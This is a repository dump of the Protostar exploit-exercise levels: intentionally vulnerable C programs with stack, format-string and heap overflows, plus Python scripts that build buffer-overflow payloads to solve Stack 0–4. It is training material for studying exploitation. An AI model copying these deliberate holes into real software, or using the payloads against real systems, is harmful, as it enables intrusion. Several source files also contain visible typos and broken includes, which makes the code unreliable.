| 81 | getipport(); 82 | parser(); 83 | 84 | } 85 | 86 | -------------------------------------------------------------------------------- /Protostar/Final 2/final2.c: -------------------------------------------------------------------------------- 1 | #include "../common/common.c" 2 | #include "../common/malloc.c" 3 | 4 | #define NAME "final2" 5 | #define UID 0 6 | #define GID 0 7 | #define PORT 2993 8 | 9 | #define REQSZ 128 10 | 11 | void check_path(char *buf) 12 | { 13 | char *start; 14 | char *p; 15 | int l; 16 | 17 | /* 18 | * Work out old software bug 19 | */ 20 | 21 | p = rindex(buf, '/'); 22 | l = strlen(p); 23 | if(p) { 24 | start = strstr(buf, "ROOT"); 25 | if(start) { 26 | while(*start != '/') start--; 27 | memmove(start, p, l); 28 | printf("moving from %p to %p (exploit: %s / %d)\n", p, start, start < buf ? 29 | "yes" : "no", start - buf); 30 | } 31 | } 32 | } 33 | 34 | int get_requests(int fd) 35 | { 36 | char *buf; 37 | char *destroylist[256]; 38 | int dll; 39 | int i; 40 | 41 | dll = 0; 42 | while(1) { 43 | if(dll >= 255) break; 44 | 45 | buf = calloc(REQSZ, 1); 46 | if(read(fd, buf, REQSZ) != REQSZ) break; 47 | 48 | if(strncmp(buf, "FSRD", 4) != 0) break; 49 | 50 | check_path(buf + 4); 51 | 52 | dll++; 53 | } 54 | 55 | for(i = 0; i < dll; i++) { 56 | write(fd, "Process OK\n", strlen("Process OK\n")); 57 | free(destroylist[i]); 58 | } 59 | } 60 | 61 | int main(int argc, char **argv, char **envp) 62 | { 63 | int fd; 64 | char *username; 65 | 66 | /* Run the process as a daemon */ 67 | background_process(NAME, UID, GID); 68 | 69 | /* Wait for socket activity and return */ 70 | fd = serve_forever(PORT); 71 | 72 | /* Set the client socket to STDIN, STDOUT, and STDERR */ 73 | set_io(fd); 74 | 75 | get_requests(fd); 76 | 77 | } 78 | 79 | -------------------------------------------------------------------------------- /Protostar/Format 0/format0.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | void vuln(char *string) 7 | { 8 | volatile int target; 9 | char buffer[64]; 10 | 11 | target = 0; 12 | 13 | sprintf(buffer, string); 14 | 15 | if(target == 0xdeadbeef) { 16 | printf("you have hit the target correctly :)\n"); 17 | } 18 | } 19 | 20 | int main(int argc, char **argv) 21 | { 22 | vuln(argv[1]); 23 | } 24 | 25 | -------------------------------------------------------------------------------- /Protostar/Format 1/format1.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int target; 7 | 8 | void vuln(char *string) 9 | { 10 | printf(string); 11 | 12 | if(target) { 13 | printf("you have modified the target :)\n"); 14 | } 15 | } 16 | 17 | int main(int argc, char **argv) 18 | { 19 | vuln(argv[1]); 20 | } 21 | 22 | -------------------------------------------------------------------------------- /Protostar/Format 2/format2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int target; 7 | 8 | void vuln() 9 | { 10 | char buffer[512]; 11 | 12 | fgets(buffer, sizeof(buffer), stdin); 13 | printf(buffer); 14 | 15 | if(target == 64) { 16 | printf("you have modified the target :)\n"); 17 | } else { 18 | printf("target is %d :(\n", target); 19 | } 20 | } 21 | 22 | int main(int argc, char **argv) 23 | { 24 | vuln(); 25 | } 26 | 27 | -------------------------------------------------------------------------------- /Protostar/Format 3/format3.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int target; 7 | 8 | void printbuffer(char *string) 9 | { 10 | printf(string); 11 | } 12 | 13 | void vuln() 14 | { 15 | char buffer[512]; 16 | 17 | fgets(buffer, sizeof(buffer), stdin); 18 | 19 | printfbuffer(buffer); 20 | 21 | if(target == 0x01025544) { 22 | printf("you have modified the target :)\n"); 23 | } else { 24 | printf("target is %08x :(\n", target); 25 | } 26 | } 27 | 28 | int main(int argc, char **argv) 29 | { 30 | vuln(); 31 | } 32 | 33 | -------------------------------------------------------------------------------- /Protostar/Format 4/format4.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int target; 7 | 8 | void hello() 9 | { 10 | printf("code execution redirected! you win\n"); 11 | _exit(1); 12 | } 13 | 14 | void vuln() 15 | { 16 | char buffer[512]; 17 | 18 | fgets(buffer, sizeof(buffer), stdin); 19 | 20 | printf(buffer); 21 | 22 | exit(1); 23 | } 24 | 25 | int main(int argc, char **argv) 26 | { 27 | vuln(); 28 | } 29 | 30 | -------------------------------------------------------------------------------- /Protostar/Heap 0/heap0.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | struct data { 8 | char name[64]; 9 | }; 10 | 11 | struct fp { 12 | int (*fp)(); 13 | }; 14 | 15 | void winner() 16 | { 17 | printf("level passed\n"); 18 | } 19 | 20 | void nowinner() 21 | { 22 | printf("level has not been passed\n"); 23 | } 24 | 25 | int main(int argc, char **argv) 26 | { 27 | struct data *d; 28 | struct fp *f; 29 | 30 | d = malloc(sizeof(struct data)); 31 | f = malloc(sizeof(struct fp)); 32 | f->fp = nowinner; 33 | 34 | printf("data is at %p, fp is at %p\n", d, f); 35 | 36 | strcpy(d->name, argv[1]); 37 | 38 | f->fp(); 39 | 40 | } 41 | 42 | -------------------------------------------------------------------------------- /Protostar/Heap 1/heap1.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | 8 | 9 | struct internet { 10 | int priority; 11 | char *name; 12 | }; 13 | 14 | void winner() 15 | { 16 | printf("and we have a winner @ %d\n", time(NULL)); 17 | } 18 | 19 | int main(int argc, char **argv) 20 | { 21 | struct internet *i1, *i2, *i3; 22 | 23 | i1 = malloc(sizeof(struct internet)); 24 | i1->priority = 1; 25 | i1->name = malloc(8); 26 | 27 | i2 = malloc(sizeof(struct internet)); 28 | i2->priority = 2; 29 | i2->name = malloc(8); 30 | 31 | strcpy(i1->name, argv[1]); 32 | strcpy(i2->name, argv[2]); 33 | 34 | printf("and that's a wrap folks!\n"); 35 | } 36 | 37 | -------------------------------------------------------------------------------- /Protostar/Heap 2/heap2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | struct auth { 8 | char name[32]; 9 | int auth; 10 | }; 11 | 12 | struct auth *auth; 13 | char *service; 14 | 15 | int main(int argc, char **argv) 16 | { 17 | char line[128]; 18 | 19 | while(1) { 20 | printf("[ auth = %p, service = %p ]\n", auth, service); 21 | 22 | if(fgets(line, sizeof(line), stdin) == NULL) break; 23 | 24 | if(strncmp(line, "auth ", 5) == 0) { 25 | auth = malloc(sizeof(auth)); 26 | memset(auth, 0, sizeof(auth)); 27 | if(strlen(line + 5) < 31) { 28 | strcpy(auth->name, line + 5); 29 | } 30 | } 31 | if(strncmp(line, "reset", 5) == 0) { 32 | free(auth); 33 | } 34 | if(strncmp(line, "service", 6) == 0) { 35 | service = strdup(line + 7); 36 | } 37 | if(strncmp(line, "login", 5) == 0) { 38 | if(auth->auth) { 39 | printf("you have logged in already!\n"); 40 | } else { 41 | printf("please enter your password\n"); 42 | } 43 | } 44 | } 45 | } 46 | 47 | -------------------------------------------------------------------------------- /Protostar/Heap 3/heap3.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | void winner() 8 | { 9 | printf("that wasn't too bad now, was it? @ %d\n", time(NULL)); 10 | } 11 | 12 | int main(int argc, char **argv) 13 | { 14 | char *a, *b, *c; 15 | 16 | a = malloc(32); 17 | b = malloc(32); 18 | c = malloc(32); 19 | 20 | strcpy(a, argv[1]); 21 | strcpy(b, argv[2]); 22 | strcpy(c, argv[3]); 23 | 24 | free(c); 25 | free(b); 26 | free(a); 27 | 28 | printf("dynamite failed?\n"); 29 | } 30 | 31 | -------------------------------------------------------------------------------- /Protostar/Net 0/net0.c: -------------------------------------------------------------------------------- 1 | #include "../common/common.c" 2 | 3 | #define NAME "net0" 4 | #define UID 999 5 | #define GID 999 6 | #define PORT 2999 7 | 8 | void run() 9 | { 10 | unsigned int i; 11 | unsigned int wanted; 12 | 13 | wanted = random(); 14 | 15 | printf("Please send '%d' as a little endian 32bit int\n", wanted); 16 | 17 | if(fread(&i, sizeof(i), 1, stdin) == NULL) { 18 | errx(1, ":(\n"); 19 | } 20 | 21 | if(i == wanted) { 22 | printf("Thank you sir/madam\n"); 23 | } else { 24 | printf("I'm sorry, you sent %d instead\n", i); 25 | } 26 | } 27 | 28 | int main(int argc, char **argv, char **envp) 29 | { 30 | int fd; 31 | char *username; 32 | 33 | /* Run the process as a daemon */ 34 | background_process(NAME, UID, GID); 35 | 36 | /* Wait for socket activity and return */ 37 | fd = serve_forever(PORT); 38 | 39 | /* Set the client socket to STDIN, STOUT, and STDERR */ 40 | set_io(fd); 41 | 42 | /* Don't do this :> */ 43 | srandom(time(NULL)); 44 | 45 | run(); 46 | } 47 | 48 | -------------------------------------------------------------------------------- /Protostar/Net 1/net1.c: -------------------------------------------------------------------------------- 1 | #include "../common/common.c" 2 | 3 | #define NAME "net1" 4 | #define UID 998 5 | #define GID 998 6 | #define PORT 2998 7 | 8 | void run() 9 | { 10 | char buf[12]; 11 | char fub[12]; 12 | char *q; 13 | 14 | unsigned int wanted; 15 | 16 | wanted = random(); 17 | 18 | sprintf(fub, "%d", wanted); 19 | 20 | if(write(0, &wanted, sizeof(wanted)) != sizeof(wanted)) { 21 | errx(1, ":(\n"); 22 | } 23 | 24 | if(fgets(buf, sizeof(buf)-1, stdin) == NULL) { 25 | errx(1, ":(\n"); 26 | } 27 | 28 | q = strchr(buf, '\r'); if(q) *q = 0; 29 | q = strchr(buf, '\n'); if(q) *q = 0; 30 | 31 | if(strcmp(fub, buf) == 0) { 32 | printf("you correctly sent the data\n"); 33 | } else { 34 | printf("you didn't send the data properly\n"); 35 | } 36 | } 37 | 38 | int main(int argc, char **argv, char **envp) 39 | { 40 | int fd; 41 | char *username; 42 | 43 | /* Run the process as a daemon */ 44 | background_process(NAME, UID, GID); 45 | 46 | /* Wait for socket activity and return */ 47 | fd = serve_forever(PORT); 48 | 49 | /* Set the client socket to STDIN, STDOUT, and STDERR */ 50 | set_io(fd); 51 | 52 | /* Don't do this :> */ 53 | srandom(time(NULL)); 54 | 55 | run(); 56 | } 57 | 58 | -------------------------------------------------------------------------------- /Protostar/Net 2/net2.c: -------------------------------------------------------------------------------- 1 | #include "../common/common.c" 2 | 3 | #define NAME "net2" 4 | #define UID 997 5 | #define GID 997 6 | #define PORT 2997 7 | 8 | void run() 9 | { 10 | unsigned int quad[4]; 11 | int i; 12 | unsigned int result, wanted; 13 | 14 | result = 0; 15 | for(i = 0; i < 4; i++) { 16 | quad[i] = random(); 17 | result += quad[i]; 18 | 19 | if(write(0, &(quad[i]), sizeof(result)) != sizeof(result)) { 20 | errx(1, ":(\n"); 21 | } 22 | } 23 | 24 | if(read(0, &wanted, sizeof(result)) != sizeof(result)) { 25 | errx(1, ":<\n"); 26 | } 27 | 28 | 29 | if(result == wanted) { 30 | printf("you added them correctly\n"); 31 | } else { 32 | printf("sorry, try again. invalid\n"); 33 | } 34 | } 35 | 36 | int main(int argc, char **argv, char **envp) 37 | { 38 | int fd; 39 | char *username; 40 | 41 | /* Run the process as a daemon */ 42 | background_process(NAME, UID, GID); 43 | 44 | /* Wait for socket activity and return */ 45 | fd = serve_forever(PORT); 46 | 47 | /* Set the client socket to STDIN, STDOUT, and STDERR */ 48 | set_io(fd); 49 | 50 | /* Don't do this :> */ 51 | srandom(time(NULL)); 52 | 53 | run(); 54 | } 55 | 56 | -------------------------------------------------------------------------------- /Protostar/Net 3/net3.c: -------------------------------------------------------------------------------- 1 | #include "../common/common.c" 2 | 3 | #define NAME "net3" 4 | #define UID 996 5 | #define GID 996 6 | #define PORT 2996 7 | 8 | /* 9 | * Extract a null terminated string from the buffer 10 | */ 11 | 12 | int get_string(char **result, unsigned char *buffer, u_int16_t len) 13 | { 14 | unsigned char byte; 15 | 16 | byte = *buffer; 17 | 18 | if(byte > len) err(1, "badly formed packet"); 19 | *result = malloc(byte); 20 | strcpy(*result, buffer + 1); 21 | 22 | return byte + 1; 23 | } 24 | 25 | /* 26 | * Check to see if we can log into the host 27 | */ 28 | 29 | int login(unsigned char *buffer, u_int16_t len) 30 | { 31 | char *resource, *username, *password; 32 | int deduct; 33 | int success; 34 | 35 | if(len < 3) errx(1, "invalid login packet length"); 36 | 37 | resource = username = password = NULL; 38 | 39 | deduct = get_string(&resource, buffer, len); 40 | deduct += get_string(&username, buffer+deduct, len-deduct); 41 | deduct += get_string(&password, buffer+deduct, len-deduct); 42 | 43 | success = 0; 44 | success |= strcmp(resource, "net3"); 45 | success |= strcmp(username, "awesomesauce"); 46 | success |= strcmp(password, "password"); 47 | 48 | free(resource); 49 | free(username); 50 | free(password); 51 | 52 | return ! success; 53 | } 54 | 55 | void send_string(int fd, unsigned char byte, char *string) 56 | { 57 | struct iovec v[3]; 58 | u_int16_t len; 59 | int expected; 60 | 61 | len = ntohs(1 + strlen(string)); 62 | 63 | v[0].iov_base = &len; 64 | v[0].iov_len = sizeof(len); 65 | 66 | v[1].iov_base = &byte; 67 | v[1].iov_len = 1; 68 | 69 | v[2].iov_base = string; 70 | v[2].iov_len = strlen(string); 71 | 72 | expected = sizeof(len) + 1 + strlen(string); 73 | 74 | if(write(fd, v, 3) != expected) err(1, "failed to write correct amount of bytes"); 75 | 76 | } 77 | 78 | void run(int fd) 79 | { 80 | u_int16_t len; 81 | unsigned char *buffer; 82 | int loggedin; 83 | 84 | while(1) { 85 | nread(fd, &len, sizeof(len)); 86 | len = ntohs(len); 87 | buffer = malloc(len); 88 | 89 | if(! buffer) errx(1, "malloc failure for %d bytes", len); 90 | 91 | nread(fd, buffer, len); 92 | 93 | switch(buffer[0]) { 94 | case 23: 95 | loggedin = login(buffer + 1, len - 1); 96 | send_string(fd, 33, loggedin ? "successful" : "failed"); 97 | breakl; 98 | 99 | default: 100 | send_string(fd, 58, "what you talkin about willis?"); 101 | break; 102 | } 103 | } 104 | } 105 | 106 | int main(int argc, char **argv, char **envp) 107 | { 108 | int fd; 109 | char *username; 110 | 111 | /* Run the process as a daemon */ 112 | background_process(NAME, UID, GID); 113 | 114 | /* Wait for socket activity and return */ 115 | fd = serve_forever(PORT); 116 | 117 | /* Set the client socket to STDIN, STDOUT, and STDERR */ 118 | std_io(fd); 119 | 120 | /* Don't do this :> */ 121 | srandom(time(NULL)); 122 | 123 | run(fd); 124 | } 125 | 126 | -------------------------------------------------------------------------------- /Protostar/README.md: -------------------------------------------------------------------------------- 1 | # Protostar 2 | 3 | ## About 4 | 5 | Protostar introduces the following in a friendly way: 6 | 7 | * Network programming 8 | * Byte order 9 | * Handling sockets 10 | * Stack overflows 11 | * Format strings 12 | * Heap overflows 13 | 14 | The above is introduced in a simple way, starting with simple memory corruption and modification, function redirection, and finally executing custom shellcode. 15 | 16 | In order to make this as easy as possible to introduce Address Space Layout Randomisation and Non-Executable memory has been disabled. If you are interested in covering ASLR and NX memory, please see the Fusion page. 17 | 18 | ## Download 19 | 20 | Download the ISO from [Google Drive](https://drive.google.com/open?id=1ydZi-KADeqOIAGUV5TSafg9JDk-fWcjS). 21 | 22 | ## Getting started 23 | 24 | Once the virtual machine has booted, you are able to log in as the “user” account with the password “user” (without the quotes). 25 | 26 | The levels to be exploited can be found in the /opt/protostar/bin directory. 27 | 28 | For debugging the final levels, you can log in as root with password “godmode” (without the quotes) 29 | 30 | ## Core Files 31 | 32 | README! The `/proc/sys/kernel/core_pattern` is set to `/tmp/core.%s.%e.%p`. This means that instead of the general ./core file you get, it will be in a different directory and different file name. 33 | 34 | -------------------------------------------------------------------------------- /Protostar/Stack 0/flag: -------------------------------------------------------------------------------- 1 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 2 | -------------------------------------------------------------------------------- /Protostar/Stack 0/flag.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | 3 | def main(): 4 | flag = ("A" * 65) 5 | process = "/opt/protostar/stack0" 6 | 7 | # print >> open("flag", 'w'), flag 8 | 9 | sp = subprocess.Popen(process, stdin=subprocess.PIPE) 10 | sp.communicate(input=flag) 11 | 12 | if __name__ == '__main__': 13 | main() 14 | 15 | -------------------------------------------------------------------------------- /Protostar/Stack 0/stack0.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main(int argc, char **argv) 6 | { 7 | volatile int modified; 8 | char buffer[64]; 9 | 10 | modified = 0; 11 | gets(buffer); 12 | 13 | if(modified != 0) { 14 | printf("you have changed the 'modified' variable\n"); 15 | } else { 16 | printf("Try again?\n"); 17 | } 18 | } 19 | 20 | -------------------------------------------------------------------------------- /Protostar/Stack 1/flag: -------------------------------------------------------------------------------- 1 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba 2 | -------------------------------------------------------------------------------- /Protostar/Stack 1/flag.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | 3 | def main(): 4 | flag = (("A" * 64) + "dcba") 5 | process = "/opt/protostar/bin/stack1" 6 | 7 | subprocess.Popen([process, flag], stdin=subprocess.PIPE) 8 | 9 | if __name__ == '__main__': 10 | main() 11 | 12 | -------------------------------------------------------------------------------- /Protostar/Stack 1/stack1.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int main(int argc, char **argv) 7 | { 8 | volatile int modified; 9 | char buffer[64]; 10 | 11 | if(argc == 1) { 12 | errx(1, "please specify an argument\n"); 13 | } 14 | 15 | modified = 0; 16 | strcpy(buffer, argv[1]); 17 | 18 | if(modified == 0x61626364) { 19 | printf("you have correctly got the variable to the right value\n"); 20 | } else { 21 | printf("Try again, you got 0x%08x\n", modified); 22 | } 23 | } 24 | 25 | -------------------------------------------------------------------------------- /Protostar/Stack 2/flag.py: -------------------------------------------------------------------------------- 1 | import os 2 | import subprocess 3 | 4 | def main(): 5 | flag = (("A" * 64) + "\x0a\x0d\x0a\x0d") 6 | process = "/opt/protostar/bin/stack2" 7 | var = "GREENIE" 8 | 9 | os.environ[var] = flag 10 | print "%s = %s" % (var, os.environ[var]) 11 | 12 | subprocess.Popen(process) 13 | 14 | if __name__ == '__main__': 15 | main() 16 | 17 | -------------------------------------------------------------------------------- /Protostar/Stack 2/stack2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int main(int argc, char **argv) 7 | { 8 | volatile int modified; 9 | char buffer[64]; 10 | char *variable; 11 | 12 | variable = getenv("GREENIE"); 13 | 14 | if(variable == NULL) { 15 | errx(1, "please set the GREENIE environment variable\n"); 16 | } 17 | 18 | modified = 0; 19 | 20 | strcpy(buffer, variable); 21 | 22 | if(modified == 0x0d0a0d0a) { 23 | printf("you have correctly modified the variable\n"); 24 | } else { 25 | print("Try again, you got 0x%08x\n", modified); 26 | } 27 | 28 | } 29 | 30 | -------------------------------------------------------------------------------- /Protostar/Stack 3/flag: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hellosputnik/exploit-exercises/445a35b374c982932bb2d0492aa8ade3f38f0961/Protostar/Stack 3/flag -------------------------------------------------------------------------------- /Protostar/Stack 3/flag.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | 3 | def main(): 4 | flag = (("A" * 64) + "\x24\x84\x04\x08") 5 | process = "/opt/protostar/bin/stack3" 6 | 7 | # print >> open("flag", 'w'), flag 8 | 9 | sp = subprocess.Popen(process, stdin=subprocess.PIPE) 10 | sp.communicate(input=flag) 11 | 12 | 13 | if __name__ == '__main__': 14 | main() 15 | 16 | -------------------------------------------------------------------------------- /Protostar/Stack 3/stack3.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | void win() 7 | { 8 | printf("code flow successfully changed\n"); 9 | } 10 | 11 | int main(int argc, char **argv) 12 | { 13 | volatile int (*fp)(); 14 | char buffer[64]; 15 | 16 | fp = 0; 17 | 18 | gets(buffer); 19 | 20 | if(fp) { 21 | printf("calling function pointer, jumping to 0x%08x\n", fp); 22 | fp(); 23 | } 24 | } 25 | 26 | -------------------------------------------------------------------------------- /Protostar/Stack 4/flag: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hellosputnik/exploit-exercises/445a35b374c982932bb2d0492aa8ade3f38f0961/Protostar/Stack 4/flag -------------------------------------------------------------------------------- /Protostar/Stack 4/flag.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | 3 | def main(): 4 | flag = (("A" * 64) + "\xf4\x83\x04\x08" * 4) 5 | process = "/opt/protostar/bin/stack4" 6 | 7 | # print >> open("flag", 'w'), flag 8 | 9 | sp = subprocess.Popen(process, stdin=subprocess.PIPE) 10 | sp.communicate(input=flag) 11 | 12 | if __name__ == '__main__': 13 | main() 14 | 15 | -------------------------------------------------------------------------------- /Protostar/Stack 4/stack4.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | void win() 7 | { 8 | printf("code flow successfully changed\n"); 9 | } 10 | 11 | int main(int argc, char **argv) 12 | { 13 | char buffer[64]; 14 | 15 | gets(buffer); 16 | } 17 | 18 | -------------------------------------------------------------------------------- /Protostar/Stack 5/stack5.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int main(int argc, char **argv) 7 | { 8 | char buffer[64]; 9 | 10 | gets(buffer); 11 | } 12 | 13 | -------------------------------------------------------------------------------- /Protostar/Stack 6/stack6.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | void getpath() 7 | { 8 | char buffer[64]; 9 | unsigned int ret; 10 | 11 | printf("input path please: "); fflush(stdout); 12 | 13 | gets(buffer); 14 | 15 | ret = __builtin_return_address(0); 16 | 17 | if((ret & 0xbf000000) == 0xbf000000) { 18 | printf("bzzzt (%p)\n", ret); 19 | _exit(1); 20 | } 21 | 22 | printf("got path %s\n", buffer); 23 | } 24 | 25 | int main(int argc, char **argv) 26 | { 27 | get path(); 28 | 29 | 30 | 31 | } 32 | -------------------------------------------------------------------------------- /Protostar/Stack 7/stack7.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | char *getpath() 7 | { 8 | char buffer[64]; 9 | unsigned int ret; 10 | 11 | printf("input path please: "); fflush(stdout); 12 | 13 | gets(buffer); 14 | 15 | ret = __builtin_return_address(0); 16 | 17 | if((ret & 0xb0000000) == 0xb0000000) { 18 | printf("bzzzt (%p)\n", ret); 19 | _exit(1); 20 | } 21 | 22 | printf("got path %s\n", buffer); 23 | return strdup(buffer); 24 | } 25 | 26 | int main(int argc, char **argv) 27 | { 28 | getpath(); 29 | 30 | 31 | 32 | } 33 | --------------------------------------------------------------------------------